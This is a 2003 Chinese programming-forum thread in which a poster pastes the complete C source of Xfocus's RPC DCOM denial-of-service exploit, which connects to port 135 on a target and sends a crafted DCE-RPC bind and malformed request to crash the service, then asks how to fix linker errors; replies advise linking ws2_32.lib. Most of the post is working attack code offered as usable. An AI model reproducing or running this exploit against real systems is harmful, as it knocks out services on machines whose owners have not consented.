求助,关于winsock?

dwzh20 2003-07-24 03:55:52
这个是原程序:
#include "StdAfx.h"
#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#include "process.h"
#include "string.h"
#include "winbase.h"



unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};


unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
WSADATA WSAData;
int i;
SOCKET sock;
SOCKADDR_IN addr_in;

short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}


if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
if (send(sock,(const char *) bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

i=recv(sock,(char *)buf1,1024,MSG_PEEK);
if (send(sock,(const char *)request,sizeof(request),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,(char *)buf1,1024,MSG_PEEK);
}


编译是通过的,可是在执行时出现了下面这些错误,请教:
Linking...
csrpc.obj : error LNK2001: unresolved external symbol __imp__recv@16
csrpc.obj : error LNK2001: unresolved external symbol __imp__send@16
csrpc.obj : error LNK2001: unresolved external symbol __imp__WSAConnect@28
csrpc.obj : error LNK2001: unresolved external symbol __imp__socket@12
csrpc.obj : error LNK2001: unresolved external symbol __imp__inet_addr@4
csrpc.obj : error LNK2001: unresolved external symbol __imp__htons@4
csrpc.obj : error LNK2001: unresolved external symbol __imp__WSAGetLastError@0
csrpc.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8
Debug/Rpc_bug.exe : fatal error LNK1120: 8 unresolved externals
Error executing link.exe.
Creating browse info file...

Rpc_bug.exe - 9 error(s), 0 warning(s)
...全文
102 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
shudingbo 2003-07-24
  • 打赏
  • 举报
回复
同上!
c0der 2003-07-24
  • 打赏
  • 举报
回复
//#include 之后加上一行
#pragma comment(lib,"ws2_32.lib")
smallfool 2003-07-24
  • 打赏
  • 举报
回复
可能还要加上ws2_32.lib的链接
hk028 2003-07-24
  • 打赏
  • 举报
回复
#include "winsock2.h"错了。
应使用winsock.h
dwzh20 2003-07-24
  • 打赏
  • 举报
回复
忘了说,我是在VC下建了一个win32 console application工程。

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧